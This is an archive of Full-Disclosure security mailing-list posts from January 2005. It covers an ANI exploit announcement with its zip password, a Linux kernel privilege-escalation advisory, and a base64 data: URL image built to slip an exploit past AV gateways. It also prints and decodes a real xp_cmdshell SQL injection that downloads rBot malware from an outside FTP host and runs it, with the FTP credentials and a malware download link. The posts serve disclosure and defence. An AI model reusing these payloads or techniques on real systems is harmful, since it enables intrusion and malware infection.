http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/c04f89df/attachment.bin From Valdis.Kletnieks at vt.edu Wed Jan 12 09:36:53 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Wed, 12 Jan 2005 04:36:53 -0500 Subject: [Full-Disclosure] Reality, humor, and history (was Re: MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: Your message of "Wed, 12 Jan 2005 01:48:29 EST." <046c01c4f873$3f351f30$0500a8c0@apollo> References: <200501120435.j0C4Zars018630@lists.netsys.com> <046c01c4f873$3f351f30$0500a8c0@apollo> Message-ID: <200501120936.j0C9arSp025309@turing-police.cc.vt.edu> On Wed, 12 Jan 2005 01:48:29 EST, Kevin Reiter said: > Sorry, but this was the very first post I saw after I joined this list a little > bit ago, and I couldn't resist a few comments. Is this guy for real, or is this a > joke? Sometimes, it's hard to tell around here, even if you're *not* a newcomer. It might be a cave troll out for a stroll. Or it might really be somebody who's just fallen out of the tree, who has just "found" something (How many times have we seen the advisory about Hotmail passwords now? ;). Often, this is followed up by several people who don't let the fact they don't actually know the right answer dissuade them from posting(*). It's often important to remember that C.M. Kornbluth wrote "The Marching Morons" in 1953, and the half-century since have proven the basic concept correct... (*) My all-time favorite "Close, but no ceee-gar" was the advice column for a Unix journal where the author *remembered* the old "3 syncs before halt" adage - but got it Very Wrong by advising "sync;sync;sync;halt". Bonus points if you can remember (a) the *original* reason for the advice *and* (b) how this version was Very Wrong (there's *multiple* answers for this one ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/37a3d904/attachment.bin From skylined at edup.tudelft.nl Wed Jan 12 09:39:03 2005 From: skylined at edup.tudelft.nl (Berend-Jan Wever) Date: Wed, 12 Jan 2005 10:39:03 +0100 Subject: [Full-Disclosure] (no subject) Message-ID: <000301c4f88a$902dc330$0100a8c0@grotedoos> Hi all, Here's an exploit for the ANI stack overflow, written for win2ksp4en, IE SP1. Dunno if it will work for other platforms, might need some more tweaking of the ani file. Let me know if it doesn't work, but only if you can hand me some proper debugging details. Patch: http://www.microsoft.com/technet/security/bulletin/MS05-002.mspx Host based products such as Qwik-Fix Pro from PivX already protect against this vulnerability by completely disabling the .ANI file format, I found this out after trying to trigger the vuln unsuccessfully for 10 minutes. It took me another 10 after turning off Qwik-Fix to write the exploit. Since my ISP detects it as "Exploit.HTML.IFrameBOF-4" I put the thing in a password protected zip file. The password is "margrieta". Cheers, Berend-Jan Wever SMTP: HTTP: http://www.edup.tudelft.nl/~bjwever MSN: Skylined at edup.tudelft.nl IRC: SkyLined in #SkyLined on EFNET PGP: key ID 0x48479882 -------------- next part -------------- A non-text attachment was scrubbed... Name: anieeye.zip Type: application/octet-stream Size: 3814 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/dfe65a46/attachment.obj From blancher at cartel-securite.fr Wed Jan 12 09:59:30 2005 From: blancher at cartel-securite.fr (Cedric Blancher) Date: Wed, 12 Jan 2005 10:59:30 +0100 Subject: [Full-Disclosure] [Annonce][Contest] Call For Articles: MISC Magazine - CanSecWest/core05 In-Reply-To: <1105346539.4627.63.camel@anduril.intranet.cartel-securite.net> References: <1105346539.4627.63.camel@anduril.intranet.cartel-securite.net> Message-ID: <1105523970.4335.69.camel@anduril.intranet.cartel-securite.net> To those who went to http://www.miscmag.com/csw05-fd.php URL and got a 404, it's now online... Sorry for inconvenience... -- http://www.netexit.com/~sid/ PGP KeyID: 157E98EE FingerPrint: FA62226DA9E72FA8AECAA240008B480E157E98EE >> Hi! I'm your friendly neighbourhood signature virus. >> Copy me to your signature file and help me spread! From MailMonitor at kings.edu Wed Jan 12 10:22:16 2005 From: MailMonitor at kings.edu (MailMonitor at kings.edu) Date: Wed, 12 Jan 2005 05:22:16 -0500 Subject: [Full-Disclosure] MailMonitor for Exchange has processed a suspicious mail Message-ID: <000301c4f890$96f145b0$4912010a@kings.edu> A mail addressed to you has been identified as suspicious by MailMonitor for Exchange. Event: infection Action: No action Message ID: <000301c4f88a$902dc330$0100a8c0 at grotedoos> Message subject: [QUAR][Full-Disclosure] (no subject) Sender: "Berend-Jan Wever" ============================================================= Attachment information: Event: encrypted Action: No action Filename: anieeye.zip Virus: ============================================================= From raoul at elforsoft.com Wed Jan 12 10:26:03 2005 From: raoul at elforsoft.com (Raoul Nakhmanson-Kulish) Date: Wed, 12 Jan 2005 13:26:03 +0300 Subject: [Full-Disclosure] (no subject) In-Reply-To: <000301c4f88a$902dc330$0100a8c0@grotedoos> References: <000301c4f88a$902dc330$0100a8c0@grotedoos> Message-ID: <41E4FB3B.5020005@elforsoft.com> Hello, Berend-Jan Wever! > Here's an exploit for the ANI stack overflow, written for win2ksp4en, > IE SP1. Dunno if it will work for other platforms, might need some > more tweaking of the ani file. Let me know if it doesn't work, but > only if you can hand me some proper debugging details. > Since my ISP detects it as "Exploit.HTML.IFrameBOF-4" I put the thing > in a password protected zip file. The password is "margrieta". > PGP: key ID 0x48479882 Could you send a PGP signature for your zip? -- Best regards, Raoul Nakhmanson-Kulish Elfor Soft Ltd., ERP Department http://www.elforsoft.ru/ From kju-fd at fqdn.org Wed Jan 12 11:17:42 2005 From: kju-fd at fqdn.org (Michael Holzt) Date: Wed, 12 Jan 2005 12:17:42 +0100 Subject: [Full-Disclosure] Using data: URLs for malware injection Message-ID: <20050112111742.GA12317@fqdn.org> > I confirm on my Opera > Version 7.54 > Build 3869 [...] > EXECUTES PUTTY!!! SAID "NOTEPAD.EXE" As i've got another confirmation of this, i just filed a bug report with Opera and will wait for the response. Thanks you for testing. Regards Michael -- It's an insane world, but i'm proud to be a part of it. -- Bill Hicks From robert at roberthogan.net Wed Jan 12 11:20:45 2005 From: robert at roberthogan.net (Robert Hogan) Date: Wed, 12 Jan 2005 11:20:45 +0000 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER References: <200501120435.j0C4Zars018630@lists.netsys.com> <046c01c4f873$3f351f30$0500a8c0@apollo> Message-ID: <012f01c4f898$c2e288c0$5103200a@b5665gx150800> > Sorry, but this was the very first post I saw after I joined this list a little > bit ago, and I couldn't resist a few comments. Is this guy for real, or is this a > joke? >> : Shogun Suzuki discovered that a remote user can connect to any machine via ^^^^^^^^^^^^ There's your answer right there. Ask anyone for 10 Japanese names/words they know and those two will probably feature in the top 10. ______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email ______________________________________________________________________ From ihaquer at isec.pl Wed Jan 12 11:58:18 2005 From: ihaquer at isec.pl (Paul Starzetz) Date: Wed, 12 Jan 2005 12:58:18 +0100 (CET) Subject: [Full-Disclosure] Linux kernel i386 SMP page fault handler privilege escalation Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Synopsis: Linux kernel i386 SMP page fault handler privilege escalation Product: Linux kernel Version: 2.2 up to and including 2.2.27-rc1, 2.4 up to and including 2.4.29-rc1, 2.6 up to and including 2.6.10 Vendor: http://www.kernel.org/ URL: http://isec.pl/vulnerabilities/isec-0022-pagefault.txt CVE: CAN-2005-0001 Author: Paul Starzetz Date: Jan 12, 2005 Issue: ====== Locally exploitable flaw has been found in the Linux page fault handler code that allows users to gain root privileges if running on multiprocessor machine. Details: ======== The Linux kernel is the core software component of a Linux environment and is responsible for handling of machine resources. One of the functions of an operating system kernel is handling of virtual memory. On Linux virtual memory is provided on demand if an application accesses virtual memory areas. One of the core components of the Linux VM subsystem is the page fault handler that is called if applications try to access virtual memory currently not physically mapped or not available in their address space. The page fault handler has the function to properly identify the type of the requested virtual memory access and take the appropriate action to allow or deny application's VM request. Actions taken may also include a stack expansion if the access goes just below application's actual stack limit. An exploitable race condition exists in the page fault handler if two concurrent threads sharing the same virtual memory space request stack expansion at the same time. It is only exploitable on multiprocessor machines (that also includes systems with hyperthreading). Discussion: =========== The vulnerable code resides for the i386 architecture in arch/i386/mm/fault.c in your kernel source code tree: [186] down_read(&mm->mmap_sem); vma = find_vma(mm, address); if (!vma) goto bad_area; if (vma->vm_start <= address) goto good_area; if (!(vma->vm_flags & VM_GROWSDOWN)) goto bad_area; if (error_code & 4) { /* * accessing the stack below %esp is always a bug. * The "+ 32" is there due to some instructions (like * pusha) doing post-decrement on the stack and that * doesn't show up until later.. */ [*] if (address + 32 < regs->esp) goto bad_area; } if (expand_stack(vma, address)) goto bad_area; where the line number has been given for the kernel 2.4.28 version. Since the page fault handler is executed with the mmap_sem semaphore held for reading only, two concurrent threads may enter the section after the line 186. The checks following line 186 ensure that the VM request is valid and in case it goes just below the actual stack limit [*], that the stack is expanded accordingly. On Linux the notion of stack includes any VM_GROWSDOWN virtual memory area, that is, it need not to be the actual process's stack. The exploitable race condition scenario looks as follows: A. thread_1 accesses a VM_GROWSDOWN area just below its actual starting address, lets call it fault_1, B. thread_2 accesses the same area at address fault_2 where fault_2 + PAGE_SIZE <= fault_1, that is: [ NOPAGE ] [fault_1 ] [ VMA ] ---> higher addresses [fault_2 ] [ NOPAGE ] [ VMA ] where one [] bracket pair stands for a page frame in the application's page table. C. if thread_2 is slightly faster than thread_1 following happens: [ PAGE2 ] [PAGE1 VMA ] that is, the stack is first expanded inside the expand_stack() function to cover fault_2, however it is right after 'expanded' to cover only fault_1 since the necessary checks have already been passed. In other words, the process's page table includes now two page references (PTEs) but only one is covered by the virtual memory area descriptor (namely only page1). The race window is very small but it is exploitable. Once the reference to page2 is available in the page table, it can be freely read or written by both threads. It will also not be released to the virtual memory management on process termination. Similar techniques like in http://www.isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt may be further used to inject these lost page frames into a setuid application in order to gain elevated privileges (due to kmod this is also possible without any executable setuid binaries). Impact: ======= Unprivileged local users can gain elevated (root) privileges on SMP machines. Credits: ======== Paul Starzetz has identified the vulnerability and performed further research. RedHat reported that a customer also pointed out some problems with the page fault handler on SMP about 20.12.2004 and they already included a patch for this vulnerability in the kernel-2.4.21-27.EL release, however the bug did not make it to the security division. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS. Disclaimer: =========== This document and all the information it contains are provided "as is", for educational purposes only, without warranty of any kind, whether express or implied. The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected. Appendix: ========= A proof of concept code won't be disclosed now. Special thanks goes to OSDL and Marcelo Tosatti for providing a SMP testbed. - -- Paul Starzetz iSEC Security Research http://isec.pl/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQFB5RDeC+8U3Z5wpu4RAtXYAJ45dQS5eAcQlLXB4A0Ghss5JC2wIwCfXEQC u42ec7E/lWZHkhRIA6+bra8= =6Cmi -----END PGP SIGNATURE----- From skodliv at gmail.com Wed Jan 12 12:53:06 2005 From: skodliv at gmail.com (ren hoek) Date: Wed, 12 Jan 2005 13:53:06 +0100 Subject: [Full-Disclosure] PoC to be released on 01/20/05 In-Reply-To: <002c01c4f80d$ee825a40$1214dd80@corp.emc.com> References: <20050111021349.14562.qmail@web61208.mail.yahoo.com> <002c01c4f80d$ee825a40$1214dd80@corp.emc.com> Message-ID: i am going to spend as much money as i can that day IM GONNA GO FOR BROKE halleluja On Tue, 11 Jan 2005 13:46:56 -0500, Exibar wrote: > I'm goign to spend double what I usually spend that day, and maybe buy a big > screen TV just to piss people like you off.... > > this is not the list for that crap, take it somewhere else... > ----- Original Message ----- > From: Some User > To: full-disclosure at lists.netsys.com > Sent: Monday, January 10, 2005 9:13 PM > Subject: [Full-Disclosure] PoC to be released on 01/20/05 > > This is a PoC by the people! Be sure to do your part. :-) > > Not One Damn Dime Day - Jan 20, 2005 > > Since our religious leaders will not speak out against the war in Iraq, > since our political leaders don't have the moral courage to oppose it, > Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime Day" in > America. > > On "Not One Damn Dime Day" those who oppose what is happening in our name in > Iraq can speak up with a 24-hour national boycott of all forms of consumer > spending. > > During "Not One Damn Dime Day" please don't spend money. No one damn dime > for gasoline. Not one damn dime for necessities or for impulse purchases. > Not one damn dime for nothing for 24 hours. > > On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target. > > Please don't go to the mall or the local convenience store. Please don't buy > any fast food (or any groceries at all for that matter). > > For 24 hours, please do what you can to shut the retail economy down. > > The object is simple. Remind the people in power that the war in Iraq is > immoral and illegal; that they are responsible for starting it and that it > is their responsibility to stop it. > > "Not One Damn Dime Day" is to remind them, too, that they work for the > people of the United States of America, not for the international > corporations and K Street lobbyists who represent the corporations and > funnel cash into American politics. > > "Not One Damn Dime Day" is about supporting the troops. The politicians put > the troops in harm's way. > Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have > died. The politicians owe our troops a plan - a way to come home. > > There's no rally to attend. No marching to do. No left or right wing agenda > to rant about. On "Not One Damn Dime Day" you take action by doing nothing. > > You open your mouth by keeping your wallet closed. > > For 24 hours, nothing gets spent, not one damn dime, to remind our religious > leaders and our politicians of their moral responsibility to end the war in > Iraq and give America back to the people. > > ==> Please share this email. <== > > Original sent by: > James Wong > Marsteller Interactive > > > ________________________________ > Do you Yahoo!? > The all-new My Yahoo! ? What will yours do? > > ________________________________ > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > -- smile tomorrow will be worse From macygasp at gmail.com Wed Jan 12 13:19:31 2005 From: macygasp at gmail.com (Marcy Darcy) Date: Wed, 12 Jan 2005 13:19:31 +0000 Subject: [Full-Disclosure] Linux kernel i386 SMP page fault handler privilege escalation Message-ID: <888c2d72050112051917f6f82e@mail.gmail.com> > Version: 2.2 up to and including 2.2.27-rc1, 2.4 up to and including > 2.4.29-rc1, 2.6 up to and including 2.6.10 This is not for 2.6.10, but 2.6.2.. From mducharme at cybergeneration.com Wed Jan 5 17:22:54 2005 From: mducharme at cybergeneration.com (Maxime Ducharme) Date: Wed, 5 Jan 2005 12:22:54 -0500 Subject: [Full-Disclosure] SQL injection worm ? Message-ID: <022d01c4f34b$311d3130$b000a8c0@cybergeneration.com> Hi list, we receveid a particular SQL injection attack on one of our site. Attack looks like : 2005-01-05 14:39:20 24.164.202.24 - W3SVCX SRVNAME x.x.x.x 80 GET /Nouvelles.asp id_nouvelle=377';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68 %65%6C%6C%20'mkdir%20%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5C';%65%7 8%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20op en%20217.199.183.122%2021%20%3E%3E%20%25systemroot%25%5Csystem32%5CMacromed% 5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73% 68%65%6C%6C%20'echo%20USER%20hahajk%20hahaowned%20%3E%3E%20%25systemroot%25% 5Csystem32%5Cmacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52.. %78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20get%20rBot.exe%20%25systemroot%2 5%5Csystem32%5CMacromed%5Clolx%5Carcdlrde.exe%20%3E%3E%20%25systemroot%25%5C system32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%7 8%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20quit%20%3E%3E%20%25systemroot%25%5 Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..% 78%70%5F%63%6D%64%73%68%65%6C%6C%20'ftp.exe%20-i%20-n%20-v%20-s:%25systemroo t%25%5Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45 %52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'del%20%25systemroot%25%5Csystem32% 5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%6 3%6D%64%73%68%65%6C%6C%20'%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5Car cdlrde.exe'--|17|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Lin e_1:_Incorrect_syntax_near_''. 500 0 0 1395 570 HTTP/1.1 attacked.web.site.com - - - HTTP request contains only 2 fields (beside HTTP method) : Connection: Keep-Alive Host: attacked.web.site.com (I obviously replaced the name of the site). Decoded SQL injection looks like : exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\'; exec MASTER..xp_cmdshell 'echo open y.y.y.y 21 >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo USER hahajk hahaowned >> %systemroot%\system32\macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo get rBot.exe %systemroot%\system32\Macromed\lolx\arcdlrde.exe >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo quit >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell '%systemroot%\system32\Macromed\lolx\arcdlrde.exe y.y.y.y is a foreign IP in Europe which host FTP an WWW server. I sent a notice this this site sysadmin about the situation. I have been able to connect to this FTP with the account hahajk/hahaowned (which do not seem legit to me ...) and download suspicious files. I mirrored them here : http://www.cybergeneration.com/security/2005.01.05/rbot.exe_ftp.zip zip pass is 968goyw439807r3qw 24.164.202.24 is on rr.com networks, they have also been advised. I know rbot.exe is known to be Randex worm, but i'd like that have some other results / analysis. I also found a "test.asp" file which contains the Spybot worm. Weird thing is, I searched for this hosts's activity on every server and every firewall we run, and I only see 1 TCP connection which is the prepared SQL injections attack, nothing else. Anybody see similar activity ? I'm asking since I want to know if we are targeted by someone of by a worm like Santy of use search engines to find vulnerable ASP scripts. Thanks in advance Happy new year to everyone ! Maxime Ducharme Programmeur / Sp?cialiste en s?curit? r?seau From maru at scip.ch Wed Jan 12 14:37:05 2005 From: maru at scip.ch (Marc Ruef) Date: Wed, 12 Jan 2005 15:37:05 +0100 Subject: [Full-Disclosure] Attack Tool Kit 4.0 released Message-ID: <5F9D803B30A8E4418166E637D50E9E2A139F25@miraculix.scip.ch> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dear list, The Attack Tool Kit (ATK) is an open-source security scanner and exploiting framework for Microsoft Windows. The ATK 4.0 has been released. Most improvements and enhancements has been invested in the reporting engine. The generation of html, text and Nessus nsr reports is now possible. Furthermore more than 340 ATK plugins are available and the Nessus NASL plugin handling has been re-introduced. Feel free to download the latest release on the project web site at http://www.computec.ch/projekte/atk/ Regards, Marc Ruef PS.: I am still looking for good persons who want to support the project by writing new ATK plugins. If you're interessted, please let me know! - -- ) scip AG ( Technoparkstr. 1 8005 Z?rich T +41 1 445 18 18 F +41 1 445 18 19 maru at scip.ch www.scip.ch - - Aktuellste IT-Sicherheitsluecken - -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 Comment: http://www.scip.ch iQA/AwUBQeU2Ehe5hzJzqVMhEQIAigCggmaZnYBHcTnMSdulf+jOKK1CCv4AoOe8 +l2tI0NgmZ+GY1HgD5oXB75Y =W9+i -----END PGP SIGNATURE----- From fd.lists.dmargoli at af0.net Wed Jan 12 05:15:57 2005 From: fd.lists.dmargoli at af0.net (Dan Margolis) Date: Wed, 12 Jan 2005 00:15:57 -0500 Subject: [Fwd: Re: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and Vulnerable] In-Reply-To: <41E4A7D0.8020805@easynix.net> References: <41E4A7D0.8020805@easynix.net> Message-ID: <20050112051557.GA8846@specialk> On Wed, Jan 12, 2005 at 05:30:08AM +0100, devis wrote: > Thats is where we do not agree. I do not beleive an user should be able > to install anything. I have set up few unfortunates of my clients that > get bugged randomly, with a 'user' limited user account and an admin > account. Sorry, I think I was unclear. I meant home users, which is why I referred to the PC's owner. I fully agree that in a corporate/educational/enterprise setting, users should not be admins. I merely intended to point out that a large percentage of PCs out there have "admins" who are ordinary users, and hence are prey to banner ads that promise to speed up one's connection, e-mails claiming to be from Microsoft, and the like. > Write a POC if it doesn't exist and please show that unix > spywares in the home directory of the user are efficient. It'd be trivial for me to write, say, a Perl script that daemonizes and uploads IP address information (in fact, these exist, as clients for services like DynDNS), who is logged on, etc. Or that uploads available logfiles (browser history, etc). Please don't make me go to the trouble to actually write this. And yes, it'd require a user to execute the code. But my point all along is that user privileges alone, so long as they are able to execute code (which they are on nearly every major Linux distro), are sufficient for running spyware. In other words, so long as there are ignorant users, there will be spyware and viruses and worms. This in no way is to say that OS security is not important, but, as I said before, to blame it solely on OS (in)security, or to assume that spyware -> insecurity, is incomplete. > but it does to install and therefore do its task. How so? Not if an ignorant user runs it voluntarily. You may be entirely right that much spyware on Windows exploits software holes, but much of it also does not (even I, a non-Windows user, knows of Kazaa, RealPlayer, and similar). > Not trusting the user to improve is a big mistake. not explaining why is > equally a big mistake. The products got to change, and the users will > learn. Education is the key, not covering the bad tracks of the OS writer. This is basically what I've been saying: user ignorance circumvents most software security. As long as the user (who is, of course, the admin as well on a home computer) is uneducated, he is vulnerable, hence my point before: software security is insufficient to prevent malware. It seems we agree, after all. :) -- Dan From dylang at thock.com Wed Jan 12 00:56:29 2005 From: dylang at thock.com (Dylan Griffiths) Date: Tue, 11 Jan 2005 18:56:29 -0600 Subject: [Full-Disclosure] Apple Airport WDS DoS Message-ID: <41E475BD.9010604@thock.com> Thock.com Security Advisory Problem: Apple AirPort WDS DoS Affected devices: AirPort Extreme and Airport Express. Severity: Denial of service. Author: Dylan Griffiths Vendor Status: Fix available. Overview: Apple's AirPort devices are wireless access points, providing 802.11 services to network clients. One popular configuration is the WDS which causes each access point to act like a physical port on a virtual switch, forwarding packets between two or more wired segments of a network. Details: When configured in a WDS, Apple's Airport Extreme and Express basestations can be made to crash when UDP port 161 is connected to, and then a link-state change occurs. The software responsible for bridging packets between the wired and wireless sides will stop responding, and the entire device will lock up (the status lights will not indicate an error). This occurs on both the wired and wireless interfaces of the device. Vendor Response: New firmware has been released for both devices. Update your WDS-enabled networks to the latest firmware as soon as possible. Special thanks to John Clecak at Apple for working with me to isolate and correct this bug! Airport Express 6.1.1 firmware MacOSX: http://www.apple.com/support/downloads/airportexpressfirmware611formacosx.html Windows: http://www.apple.com/support/downloads/airportexpressfirmware611forwindows.html Airport Extreme 5.5.1 firmware MacOSX: http://www.apple.com/support/downloads/airportextremefirmware551formacosx.html Windows: http://www.apple.com/support/downloads/airportextremefirmware551forwindows.html From noamr at beyondsecurity.com Wed Jan 12 10:20:41 2005 From: noamr at beyondsecurity.com (Noam Rathaus) Date: Wed, 12 Jan 2005 12:20:41 +0200 Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability - KMail In-Reply-To: References: Message-ID: <200501121220.41645.noamr@beyondsecurity.com> Hi, Until recently I thought that embedding images within HTML which will then be shown in Kmail was impossible. But no longer, it appears that KMail will display the images (other things are also possible... I will leave it to your imagination) within emails that are viewed with KMail's HTML parser. On Tue January 11 2005 20:16, Jeff Gillian wrote: > Interesting. I tested a number of both Linux and Windows image > vulnerabilities that are all by default detected by my IronPort, > TippingPoint UnityOne and ISS Proventia appliances. > > Using the technique you mentioned, they were ignored completely and > delivered. Additionally, there are appear to be several mail clients that > support that RFC, including Thunderbird so you can obviously target more > than just web browsers. > > Jeff. > > > On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds > > wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Multi-vendor AV gateway image inspection bypass vulnerability > > January 10, 2005 > > > > A vulnerability has been discovered which allows a remote attacker to > > bypass anti-virus > > (as well other security technologies such as IDS and IPS) inspection of > > HTTP image content. > > > > By leveraging techniques described in RFC 2397 for base64 encoding > > image content within > > the URL scheme. A remote attack may encode a malicious image within the > > body of an HTML > > formatted document to circumvent content inspection. > > > > For example: > > > > http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php > > > > The source code at the URL above will by default create a JPEG image > > that will attempt (and fail > > without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability. > > The image itself is detected > > by all AV gateway engines tested (Trend, Sophos and McAfee), however, > > when the same image > > is base64 encoded using the technique described in RFC 2397 (documented > > below), inspection > > is not performed and is delivered rendered by the client. > > > > While Microsoft Internet Explorer does not support the RFC 2397 URL > > scheme; Firefox, Safari, > > Mozilla and Opera do and will render the data and thus successfully > > execute the payload if the necessary > > OS and/or application patches have not been applied. > > > > ## BEGIN HTML ## > > > > > > > > > src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD// > > gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw > > /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBwkJ > > CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/b > > AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy > > MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA > > AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR > > oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl > > ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbH > > yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA > > AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU > > QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNk > > 